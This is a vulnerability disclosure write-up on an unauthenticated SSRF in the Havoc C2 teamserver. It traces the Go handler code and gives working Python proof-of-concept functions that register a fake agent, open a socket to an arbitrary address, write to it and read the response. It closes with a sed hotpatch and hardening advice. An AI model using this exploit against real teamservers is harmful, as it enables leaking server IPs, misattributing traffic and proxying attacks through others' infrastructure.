PoC: https://github.com/chebuya/Havoc-C2-SSRF-poc

Summary

Havoc C2 is a modern and malleable post-exploitation command and control framework targetting windows systems utilized by red teamers and threat actors alike. While auditing the codebase, I was able to discover a vulnerability in which unauthenticated attackers could create a TCP socket on the teamserver with an arbitrary IP/port, and read and write traffic through the socket. By exploiting this vulnerability, attackers could leak the origin IP of a teamserver behind public redirectors (attribution), abuse vulnerable teamservers as a redirector (misattribution) and route traffic through any listening socks proxies on the teamserver.

Understanding the demon agent callback handling

In Havoc, the default agent is called a Demon. Havoc’s malleable design requires that each type of agent has an associated handler, which is backend code responsible for parsing and processing agent callbacks. The attack surface of these handlers will be exposed when the C2 operators create a listener, which is generally over HTTP/HTTPS. These listeners will generally be exposed on an associated port (80/443) on the teamserver itself or on a publicly accessible redirector.

meow1

Let’s begin by tracing the code flow to the initial demon agent registration

Upon starting of the teamserver or addition of new listeners, the ListenerStart function will configure and start the listeners. We can see at the bottom of this snippet, a Start() function is called.

func (t *Teamserver) ListenerStart(ListenerType int, info any) error {
	...
	switch ListenerType {

	case handlers.LISTENER_HTTP:
		var HTTPConfig = handlers.NewConfigHttp()
		var config = info.(handlers.HTTPConfig)

		HTTPConfig.Config = config

		HTTPConfig.Config.Secure = config.Secure
		// HTTPConfig.RoutineFunc = Functions
		HTTPConfig.Teamserver = t

		HTTPConfig.Start()

In the Start() function, we can observe that any POST requests will be mapped to the h.request function.

func (h *HTTP) Start() {
	logger.Debug("Setup HTTP/s Server")

	if len(h.Config.Hosts) == 0 && h.Config.PortBind == "" && h.Config.Name == "" {
		logger.Error("HTTP Hosts/Port/Name not set")
		return
	}

	h.GinEngine.POST("/*endpoint", h.request)
	...

In the h.request function, we can see the post body being read into the Body variable and guardrail checks on the path and User-Agent being performed (these can be obtained by analyzing the demon binary, its traffic or brute forcing them based off public c2 profiles). If the request passes these checks, the Body variable will be passed to the parseAgentRequest function

func (h *HTTP) request(ctx *gin.Context) {
	var ExternalIP string
	var MissingHdr string

	Body, err := io.ReadAll(ctx.Request.Body)
	if err != nil {
		logger.Debug("Error while reading request: " + err.Error())
	}

	...

	// check that the URI is defined on the profile
	if len(h.Config.Uris) > 0 && ! (len(h.Config.Uris) == 1 && h.Config.Uris[0] == "") {
		valid = false
		for _, Uri := range h.Config.Uris {
			if ctx.Request.RequestURI == Uri {
				valid = true
				break
			}
		}

		if valid == false {
			logger.Warn(fmt.Sprintf("got a request with an invalid request path: %s", ctx.Request.RequestURI))
			h.fake404(ctx)
			return
		}
	}

	// check that the User-Agent is valid
	if h.Config.UserAgent != "" {
		if h.Config.UserAgent != ctx.Request.UserAgent() {
			logger.Warn(fmt.Sprintf("got a request with an invalid user agent: %s", ctx.Request.UserAgent()))
			h.fake404(ctx)
			return
		}
	}

	...
	if Response, Success := parseAgentRequest(h.Teamserver, Body, ExternalIP); Success {
		_, err := ctx.Writer.Write(Response.Bytes())
		if err != nil {
			logger.Debug("Failed to write to request: " + err.Error())
			h.fake404(ctx)
			return
		}
	} else {
		logger.Warn("failed to parse agent request")
		h.fake404(ctx)
		return
	}

	ctx.AbortWithStatus(http.StatusOK)
	return
}

In the parseAgentRequest function, we can observe the agent header being parsed out of the POST data (more on how this works below), and subsequent checks for the magic bytes. The magic bytes are used to determine if the agent callback belongs to a demon agent or a 3rd party agent. The DEMON_MAGIC_VALUE is 0xdeadbeef, and with that being public we should not have much trouble getting to this point.

func parseAgentRequest(Teamserver agent.TeamServer, Body []byte, ExternalIP string) (bytes.Buffer, bool) {

	var (
		Header   agent.Header
		Response bytes.Buffer
		err      error
	)

	Header, err = agent.ParseHeader(Body)
	if err != nil {
		logger.Debug("[Error] Header: " + err.Error())
		return Response, false
	}

	if Header.Data.Length() < 4 {
		return Response, false
	}

	// handle this demon connection if the magic value matches
	if Header.MagicValue == agent.DEMON_MAGIC_VALUE {
		return handleDemonAgent(Teamserver, Header, ExternalIP)
	}

	// If it's not a Demon request then try to see if it's a 3rd party agent.
	return handleServiceAgent(Teamserver, Header, ExternalIP)
}

Inspecting the ParseHeader function, we can see multiple calls to ParseInt32(). This function will read 4 bytes of the data in the Parser object, and subsequent calls will read the next 4 bytes of the data. So the first 4 bytes of the POST body are read into the Header.Size field, bytes[4:8] are read into the Header.MagicValue, and bytes[8:12] are read into the Header.AgentID field. bytes[12:] are assigned to the Header.Data field.

func ParseHeader(data []byte) (Header, error) {
	var (
		Header = Header{}
		Parser = parser.NewParser(data)
	)

	if Parser.Length() > 4 {
		Header.Size = Parser.ParseInt32()
	} else {
		return Header, errors.New("failed to parse package size")
	}

	if Parser.Length() > 4 {
		Header.MagicValue = Parser.ParseInt32()
	} else {
		return Header, errors.New("failed to parse magic value")
	}

	if Parser.Length() > 4 {
		Header.AgentID = Parser.ParseInt32()
	} else {
		return Header, errors.New("failed to parse agent id")
	}

	Header.Data = Parser
	
	return Header, nil
}

If the parsed magic value matches 0xdeadbeef within the parseAgentRequest function, we can observe the Header variable being passed to the handleDemonAgent function. We can see that if the AgentID is not found to exist, we take another branch to handle agent registration attempts. The teamserver will read bytes[12:16] into the Command variable, which will be compared against DEMON_INIT which is a constant value of 99. If this is the case, we can observe the Agent struct being created by the ParseDemonRegisterRequest function. The ParseDemonRegisterRequest is passed the AgentID (bytes[8:12]) and Header.Data (bytes[16:])

func handleDemonAgent(Teamserver agent.TeamServer, Header agent.Header, ExternalIP string) (bytes.Buffer, bool) {
	...

	/* check if the agent exists. */
	if Teamserver.AgentExist(Header.AgentID) {
	...
	} else {
		logger.Debug("Agent does not exists. hope this is a register request")

		var (
			Command = Header.Data.ParseInt32()
		)

		/* TODO: rework this. */
		if Command == agent.DEMON_INIT {
			// RequestID, unused on DEMON_INIT
			Header.Data.ParseInt32()

			Agent = agent.ParseDemonRegisterRequest(Header.AgentID, Header.Data, ExternalIP)
			if Agent == nil {
				return Response, false
			}

			Agent.Info.MagicValue = Header.MagicValue
			Agent.Info.Listener = nil /* TODO: pass here the listener instance/name */

			Teamserver.AgentAdd(Agent)
			Teamserver.AgentSendNotify(Agent)
			...

Within the ParseDemonRegisterRequest function, we can see the first couple of reads from the Parser variable are the AESKey and AESIv variables. The demon agent will encrypt everything after these two variables, so the rest of the bytes in the Parser variable are decrypted before the function continues. After the decryption call, we can observe multiple Parser calls to ParseInt32(), ReadInt64() and ReadBytes() which will extract the rest of the registration information. After all the registration information is read, the Session variable will be returned and after which, if you refer to the handleDemonAgent function, we can observe that after ParseDemonRegisterRequest is called, the newly created agent is added to the teamserver agents array.

func ParseDemonRegisterRequest(AgentID int, Parser *parser.Parser, ExternalIP string) *Agent {
	...
	if Parser.Length() >= 32+16 {

		var Session = &Agent{
			Encryption: struct {
				AESKey []byte
				AESIv  []byte
			}{
				AESKey: Parser.ParseAtLeastBytes(32),
				AESIv:  Parser.ParseAtLeastBytes(16),
			},

			Active:     false,
			SessionDir: "",

			Info: new(AgentInfo),
		}

		// check if there is aes key/iv.
		if bytes.Compare(Session.Encryption.AESKey, AesKeyEmpty) != 0 {
			Parser.DecryptBuffer(Session.Encryption.AESKey, Session.Encryption.AESIv)
		}

		if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt64, parser.ReadInt32}) {
			DemonID = Parser.ParseInt32()
			logger.Debug(fmt.Sprintf("Parsed DemonID: %x", DemonID))

			if AgentID != DemonID {
				if AgentID != 0 {
					logger.Debug("Failed to decrypt agent init request")
					return nil
				}
			} else {
				logger.Debug(fmt.Sprintf("AgentID (%x) == DemonID (%x)\n", AgentID, DemonID))
			}

			Hostname = Parser.ParseString()
			Username = Parser.ParseString()
			DomainName = Parser.ParseString()
			InternalIP = Parser.ParseString()

			if ExternalIP != "" {
				Session.Info.ExternalIP = ExternalIP
			}
			...
			ProcessName = Parser.ParseUTF16String()
			ProcessPID  = Parser.ParseInt32()
			ProcessTID  = Parser.ParseInt32()
			ProcessPPID = Parser.ParseInt32()
			ProcessArch = Parser.ParseInt32()
			Elevated = Parser.ParseInt32()
			BaseAddress = Parser.ParseInt64()
			...
			OsVersion = []int{Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32(), Parser.ParseInt32()}
			OsArch = Parser.ParseInt32()
			SleepDelay = Parser.ParseInt32()
			SleepJitter = Parser.ParseInt32()
			KillDate = Parser.ParseInt64()
			WorkingHours = int32(Parser.ParseInt32())
			...
			Session.Active = true

			Session.NameID = fmt.Sprintf("%08x", DemonID)
			Session.Info.MagicValue = MagicValue
			Session.Info.FirstCallIn = time.Now().Format("02/01/2006 15:04:05")
			Session.Info.LastCallIn = time.Now().Format("02-01-2006 15:04:05")
			Session.Info.Hostname = Hostname
			Session.Info.DomainName = DomainName
			Session.Info.Username = Username
			Session.Info.InternalIP = InternalIP
			Session.Info.SleepDelay = SleepDelay
			Session.Info.SleepJitter = SleepJitter
			Session.Info.KillDate = KillDate
			Session.Info.WorkingHours = WorkingHours
			...
			Session.Info.OSVersion = getWindowsVersionString(OsVersion)
			...
			process := strings.Split(ProcessName, "\\")

			Session.Info.ProcessName = process[len(process)-1]
			Session.Info.ProcessPID  = ProcessPID
			Session.Info.ProcessTID  = ProcessTID
			Session.Info.ProcessPPID = ProcessPPID
			Session.Info.ProcessPath = ProcessName
			Session.Info.BaseAddress = BaseAddress
			Session.BackgroundCheck = false
			...
			return Session
			...

Why do we even care about registering an agent? Well, if you refer to the parseAgentRequest function, we can see execution being passed to another branch if the agent exists. So once we register an agent, anything under the first branch will be accessible for attacking. This is like having a web application with open registration.

	/* check if the agent exists. */
	if Teamserver.AgentExist(Header.AgentID) {
	...
	} else {
		logger.Debug("Agent does not exists. hope this is a register request")

So, to simulate an agent registration, we need to craft a POST request with a body in the following structure:

[ SIZE         ] 4 bytes
[ Magic Value  ] 4 bytes
[ Agent ID     ] 4 bytes
[ COMMAND ID   ] 4 bytes
[ Request ID   ] 4 bytes
[ AES KEY      ] 32 bytes
[ AES IV       ] 16 bytes
AES Encrypted {
	[ Agent ID     ] 4 bytes <-- this is needed to check if we successfully decrypted the data
	[ Host Name    ] size + bytes
	[ User Name    ] size + bytes
	[ Domain       ] size + bytes
	[ IP Address   ] 16 bytes?
	[ Process Name ] size + bytes
	[ Process ID   ] 4 bytes
	[ Parent  PID  ] 4 bytes
	[ Process Arch ] 4 bytes
	[ Elevated     ] 4 bytes
	[ Base Address ] 8 bytes
	[ OS Info      ] ( 5 * 4 ) bytes
	[ OS Arch      ] 4 bytes
	..... more
}

In the exploit, registering an agent looks something like this:

def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
    # DEMON_INITIALIZE / 99
    command = b"\x00\x00\x00\x63"
    request_id = b"\x00\x00\x00\x01"
    demon_id = agent_id

    hostname_length = int_to_bytes(len(hostname))
    username_length = int_to_bytes(len(username))
    domain_name_length = int_to_bytes(len(domain_name))
    internal_ip_length = int_to_bytes(len(internal_ip))
    process_name_length = int_to_bytes(len(process_name) - 6)

    data =  b"\xab" * 100

    header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id

    print("[***] Trying to register agent...")
    r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")


magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = "http://TARGET"
headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
        }
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = b"DESKTOP-7F61JT1"
username = b"neo"
domain_name = b"MATRIX"
internal_ip = b"10.1.33.7"
process_name = "msedge.exe".encode("utf-16le")
process_id = int_to_bytes(random.randint(100, 5000))

register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)

Now that we have successfully registered the agent, we can hit anything behind the Teamserver.AgentExist(Header.AgentID) check. Let’s trace the flow to the SSRF sink. Looking at the other branch within the parseAgentRequest function, we can see that the Command variable is parsed from the Header.Data, and a subsequent call to DecryptBuffer is observed. After these lines, we can see that the Agent.TaskDispatch function is called if the Command variable is set to COMMAND_GET_JOB (0x01)

	/* check if the agent exists. */
	if Teamserver.AgentExist(Header.AgentID) {

		/* get our agent instance based on the agent id */
		Agent = Teamserver.AgentInstance(Header.AgentID)
		Agent.UpdateLastCallback(Teamserver)

		// while we can read a command and request id, parse new packages
		first_iter := true
		asked_for_jobs := false
		for (Header.Data.CanIRead(([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}))) {
			Command   = uint32(Header.Data.ParseInt32())
			RequestID = uint32(Header.Data.ParseInt32())

			/* check if this is a 'reconnect' request */
			if Command == agent.DEMON_INIT {
				...
			}

			if first_iter {
				first_iter = false
				// if the message is not a reconnect, decrypt the buffer
				Header.Data.DecryptBuffer(Agent.Encryption.AESKey, Agent.Encryption.AESIv)
			}

			/* The agent is sending us the result of a task */
			if Command != agent.COMMAND_GET_JOB {
				Parser := parser.NewParser(Header.Data.ParseBytes())
				Agent.TaskDispatch(RequestID, Command, Parser, Teamserver)
			} else {
				asked_for_jobs = true
			}
		}

The TaskDispatch function is responsible for serving tasks the operator issues from the client to the agents to execute. Since we cannot force the operator to issue a new task, I was interested in auditing paths under this function that don’t require the operator to issue a task to hit - and especially those that had some kind of abusable functionality. We can see in the first section of this function, there is a call to the IsKnownRequestID function. If this function returns false, we will be rejected by the teamserver.

func (a *Agent) TaskDispatch(RequestID uint32, CommandID uint32, Parser *parser.Parser, teamserver TeamServer) {
	var NameID, _ = strconv.ParseInt(a.NameID, 16, 64)
	AgentID := int(NameID)

	/* if the RequestID was not generated by the TS, reject the request */
	if a.IsKnownRequestID(teamserver, RequestID, CommandID) == false {
		logger.Warn(fmt.Sprintf("Agent: %x, CommandID: %d, unknown RequestID: %x. This is either a bug or malicious activity", AgentID, CommandID, RequestID))
		return
	}

Looking at the IsKnownRequestID function, we can see at the bottom the code iterates through the agent task slice and will return true if there is a task RequestID that matches the one we sent. Since the RequestID is an unsigned 32 bit integer, we have no hope for brute forcing a correct RequestID, and since we have no access to the operator interface, we cannot generate a valid RequestID. However, we can see 3 additional checks beforehand that will return true irregardless of the RequestID (and thus, irregardless if the C2 operator issued the task or not)

// check that the request the agent is valid
func (a *Agent) IsKnownRequestID(teamserver TeamServer, RequestID uint32, CommandID uint32) bool {
	// some commands are always accepted because they don't follow the "send task and get response" format
	switch CommandID {
	case COMMAND_SOCKET:
		return true
	case COMMAND_PIVOT:
		return true
	}

	if teamserver.SendLogs() && CommandID == BEACON_OUTPUT {
		// if SendLogs is on, accept all BEACON_OUTPUT so that the agent can send logs
		return true
	}

	for i := range a.Tasks {
		if a.Tasks[i].RequestID == RequestID {
			return true
		}
	}
	return false
}

We note that the following CommandIDs will be processed by the teamserver even if there is no matching task issued.

COMMAND_SOCKET
COMMAND_PIVOT
BEACON_OUTPUT

Looking further down in the TaskDispatch function, we can see a switch statement followed by a case for each of our CommandIDs

func (a *Agent) TaskDispatch(RequestID uint32, CommandID uint32, Parser *parser.Parser, teamserver TeamServer) {
	var NameID, _ = strconv.ParseInt(a.NameID, 16, 64)
	AgentID := int(NameID)

	/* if the RequestID was not generated by the TS, reject the request */
	if a.IsKnownRequestID(teamserver, RequestID, CommandID) == false {
		logger.Warn(fmt.Sprintf("Agent: %x, CommandID: %d, unknown RequestID: %x. This is either a bug or malicious activity", AgentID, CommandID, RequestID))
		return
	}

	switch CommandID {
	case COMMAND_GET_JOB:
	...
	case COMMAND_OUTPUT:
	case BEACON_OUTPUT:  // We can reach this
	case COMMAND_INJECT_DLL:
	...
	case COMMAND_PIVOT: // We can reach this
	case COMMAND_TRANSFER:
	case COMMAND_SOCKET:  // We can reach this
	case COMMAND_KERBEROS:
	...

Let’s look at the COMMAND_SOCKET case, in which the vulnerability exists. We can see that a SubCommand variable is read, and another switch statement begins. This appears to be part of the demon’s rportfwd/socks proxy capabilities and has been left unprotected!

case COMMAND_SOCKET:
	var (
		SubCommand = 0
		Message    map[string]string
	)

	if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {

		SubCommand = Parser.ParseInt32()

		switch SubCommand {
		case SOCKET_COMMAND_RPORTFWD_ADD:
		case SOCKET_COMMAND_RPORTFWD_LIST:
		case SOCKET_COMMAND_RPORTFWD_REMOVE:
		case SOCKET_COMMAND_RPORTFWD_CLEAR:
		case SOCKET_COMMAND_SOCKSPROXY_ADD:
		case SOCKET_COMMAND_OPEN:
		case SOCKET_COMMAND_READ:
		case SOCKET_COMMAND_WRITE:
		case SOCKET_COMMAND_CLOSE:
		case SOCKET_COMMAND_CONNECT:
		default:
			logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - UNKNOWN (%d)", AgentID, SubCommand))
		}
		

Looking at the SOCKET_COMMND_OPEN case, we can see that a few variables that look to be related to creation of a socket are read from the Parser. Further down, we observe a call to PortFwdNew with these newly created variables.

case SOCKET_COMMAND_OPEN:

	if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {

		var (
			SocktID = 0
			LclAddr = 0
			LclPort = 0
			FwdAddr = 0
			FwdPort = 0

			FwdString string
		)

		SocktID = Parser.ParseInt32()
		LclAddr = Parser.ParseInt32()
		LclPort = Parser.ParseInt32()
		FwdAddr = Parser.ParseInt32()
		FwdPort = Parser.ParseInt32()

		// avoid too much spam
		//logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_OPEN, SocktID: %08x, LclAddr: %d, LclPort: %d, FwdAddr: %d, FwdPort: %d", AgentID, SocktID, LclAddr, LclPort, FwdAddr, FwdPort))

		FwdString = common.Int32ToIpString(int64(FwdAddr))
		FwdString = fmt.Sprintf("%s:%d", FwdString, FwdPort)

		if Socket := a.PortFwdGet(SocktID); Socket != nil {
			/* Socket already exists. don't do anything. */
			logger.Debug("Socket already exists")
			return
		}

		/* add this rportfwd */
		a.PortFwdNew(SocktID, LclAddr, LclPort, FwdAddr, FwdPort, FwdString)

		/* we will open the rportfwd client only after we have something to write */

	} else {
		logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_OPEN, Invalid packet", AgentID))
	}

	break

In the PortFwdNew function, we see that a &PortFwd struct is created with the parameters passed in, and is added to the agent PortFwds slice

func (a *Agent) PortFwdNew(SocketID, LclAddr, LclPort, FwdAddr, FwdPort int, Target string) {
	var portfwd = &PortFwd{
		Conn:    nil,
		SocktID: SocketID,
		LclAddr: LclAddr,
		LclPort: LclPort,
		FwdAddr: FwdAddr,
		FwdPort: FwdPort,
		Target:  Target,
	}

	a.PortFwdsMtx.Lock()
	
	a.PortFwds = append(a.PortFwds, portfwd)

	a.PortFwdsMtx.Unlock()
}

The case that actually opens the socket is SOCKET_COMMAND_READ. Looking at the code, we can see that the SocketID variable is read from the Parser and is eventually passed to the PortFwdOpen function after passing a few checks on some other variables.

case SOCKET_COMMAND_READ:
	/* if we receive the SOCKET_COMMAND_READ command
	 * that means that we should read the callback and send it to the forwared host/socks proxy */

	if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {
		var (
			SocktID = Parser.ParseInt32()
			Type    = Parser.ParseInt32()
			Success = Parser.ParseInt32()
		)

		if Success == win32.TRUE {
			if Parser.CanIRead([]parser.ReadType{parser.ReadBytes}) {
				var(
					Data = Parser.ParseBytes()
				)
				// avoid too much spam
				//logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_READ, SocktID: %08x, Type: %d, DataLength: %x", AgentID, SocktID, Type, len(Data)))

				if Type == SOCKET_TYPE_CLIENT {

					/* we only open rportfwd clients once we have data to write */
					opened, err := a.PortFwdIsOpen(SocktID)
					if err != nil {
						a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to write to reverse port forward host: %v", err), "")
						return
					}

					/* if first time, open the client */
					if opened == false {
						err := a.PortFwdOpen(SocktID)
						if err != nil {
							logger.Debug(fmt.Sprintf("Failed to open rportfwd: %v", err))	
						a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to open reverse port forward host: %v", err), "")
							return
						}
					}

The PortFwdOpen function does what one would expect: it retrieves the PortFwd struct that was created in the PortFwdNew function and passes it to a net.Dial call. This will create the TCP socket on the teamserver. Performing this from python code looks something like this:

def open_socket(socket_id, target_address, target_port):
    # COMMAND_SOCKET / 2540
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x02"

    # SOCKET_COMMAND_OPEN / 16
    subcommand = b"\x00\x00\x00\x10"
    sub_request_id = b"\x00\x00\x00\x03"

    local_addr = b"\x22\x22\x22\x22"
    local_port = b"\x33\x33\x33\x33"


    forward_addr = b""
    for octet in target_address.split(".")[::-1]:
        forward_addr += int_to_bytes(int(octet), length=1)

    forward_port = int_to_bytes(target_port)

    package = subcommand+socket_id+local_addr+local_port+forward_addr+forward_port
    package_size = int_to_bytes(len(package) + 4)

    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data


    print("[***] Trying to open socket on the teamserver...")
    r = requests.post(teamserver_listener_url, data=data, headers=headers)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}")

# 0xDEADBEEF
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = "http://192.168.1.32"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = b"DESKTOP-7F61JT1"
username = b"neo"
domain_name = b"MRTX"
internal_ip = b"10.1.33.7"
process_name = "msedge.exe".encode("utf-16le")
process_id = int_to_bytes(random.randint(100, 5000))

register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)

socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, "44.221.186.72", 80)

Now that we see how the socket gets opened, let’s show how we can write to it. We can see that after the call to PortFwdOpen, there is a PortFwdWrite call that occurs, passing the SocketID of our newly created socket and a Data variable which was read by the Parser. The PortFwdWrite function will retrieve our socket by the SocketID and write the Data to it.

/* if first time, open the client */
if opened == false {
	err := a.PortFwdOpen(SocktID)
	if err != nil {
		logger.Debug(fmt.Sprintf("Failed to open rportfwd: %v", err))	
	a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to open reverse port forward host: %v", err), "")
		return
	}
}

/* write the data to the forwarded host */
err = a.PortFwdWrite(SocktID, Data)
if err != nil {
	a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to write to reverse port forward socket 0x%08x: %v", SocktID, err), "")
	return
}

In python code, writing to the socket looks like this:

def write_socket(socket_id, data):
    # COMMAND_SOCKET / 2540
    command = b"\x00\x00\x09\xec"
    request_id = b"\x00\x00\x00\x08"

    # SOCKET_COMMAND_READ / 11
    subcommand = b"\x00\x00\x00\x11"
    sub_request_id = b"\x00\x00\x00\xa1"

    # SOCKET_TYPE_CLIENT / 3
    socket_type = b"\x00\x00\x00\x03"
    success = b"\x00\x00\x00\x01"

    data_length = int_to_bytes(len(data))

    package = subcommand+socket_id+socket_type+success+data_length+data
    package_size = int_to_bytes(len(package) + 4)

    header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    post_data = agent_header + header_data

    print("[***] Trying to write to the socket")
    r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Success!")
    else:
        print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")


# 0xDEADBEEF
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = "http://192.168.1.32"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = b"DESKTOP-7F61JT1"
username = b"neo"
domain_name = b"MRTX"
internal_ip = b"10.1.33.7"
process_name = "msedge.exe".encode("utf-16le")
process_id = int_to_bytes(random.randint(100, 5000))

register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)

socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, "44.221.186.72", 80)

request_data = b"GET /vulnerable HTTP/1.1\r\nHost: www.example.com\r\nConnection: close\r\n\r\n"
write_socket(socket_id, request_data)

After the PortFwdWrite call, we can see that a goroutine is started in which response data will be read from the socket and placed into a job struct and added to the agent queue. To retrieve the response data, we will need to spoof another demon checkin to retrieve the job off the agent queue.

if opened == false {
	/* after we managed to open a socket to the forwarded host lets start a
	 * goroutine where we read the data from the forwarded host and send it to the agent. */
	go func() {

		for {

			Data, err := a.PortFwdRead(SocktID)
			if err == nil {

				/* only send the data if there is something... */
				if len(Data) > 0 {

					/* make a new job */
					var job = Job{
						Command: COMMAND_SOCKET,
						Data: []any{
							SOCKET_COMMAND_WRITE,
							SocktID,
							Data,
						},
					}

					/* append the job to the task queue */
					a.AddJobToQueue(job)

To retrieve a job, let’s go back to the handleDemonAgent function. We can see that if the Command variable is COMMAND_GET_JOB, we will pass the TaskDispatch and the teamserver will perform a length check on the JobQueue. If there are jobs for our agent, we can see a payload being built and written as a response.

/* check if the agent exists. */
if Teamserver.AgentExist(Header.AgentID) {
	...
	for (Header.Data.CanIRead(([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}))) {
		...
		/* The agent is sending us the result of a task */
		if Command != agent.COMMAND_GET_JOB {
			Parser := parser.NewParser(Header.Data.ParseBytes())
			Agent.TaskDispatch(RequestID, Command, Parser, Teamserver)
		} else {
			asked_for_jobs = true
		}
	}

	/* if there is no job then just reply with a COMMAND_NOJOB */
	if asked_for_jobs == false || len(Agent.JobQueue) == 0 {
	...
	} else {
		/* if there is a job then send the Task Queue */
		var (
			job     = Agent.GetQueuedJobs()
			payload = agent.BuildPayloadMessage(job, Agent.Encryption.AESKey, Agent.Encryption.AESIv)
		)

		// write the response to the buffer
		_, err = Response.Write(payload)

Spoofed job retrieval looks something like this in python code. This completes our unauthenticated full read SSRF!

def read_socket(socket_id):
    # COMMAND_GET_JOB / 1
    command = b"\x00\x00\x00\x01"
    request_id = b"\x00\x00\x00\x09"

    header_data = command + request_id

    size = 12 + len(header_data)
    size_bytes = size.to_bytes(4, 'big')
    agent_header = size_bytes + magic + agent_id
    data = agent_header + header_data

    print("[***] Trying to poll teamserver for socket output...")
    r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
    if r.status_code == 200:
        print("[***] Read socket output successfully!")
    else:
        print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}")
        return ""

    command_id = int.from_bytes(r.content[0:4], "little")
    request_id = int.from_bytes(r.content[4:8], "little")
    package_size = int.from_bytes(r.content[8:12], "little")
    enc_package = r.content[12:]

    return decrypt(AES_Key, AES_IV, enc_package)[12:]


# 0xDEADBEEF
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = "http://192.168.1.32"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = b"DESKTOP-7F61JT1"
username = b"neo"
domain_name = b"MRTX"
internal_ip = b"10.1.33.7"
process_name = "msedge.exe".encode("utf-16le")
process_id = int_to_bytes(random.randint(100, 5000))

register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)

socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, "44.221.186.72", 80)

request_data = b"GET /vulnerable HTTP/1.1\r\nHost: www.example.com\r\nConnection: close\r\n\r\n"
write_socket(socket_id, request_data)

print(read_socket(socket_id).decode())

Takeaways

Authenticate your beacons
Apply heavy network restrictions on your teamserver (especially if you are running it on prem because someone can leak your IP)

Hotpatch

To hotpatch your teamserver:

  1. Navigate to the Havoc directory
  2. Run the command
sed -i '/case COMMAND_SOCKET:/,/return true/d' teamserver/pkg/agent/agent.go 
  1. Rebuild the teamserver
make ts-build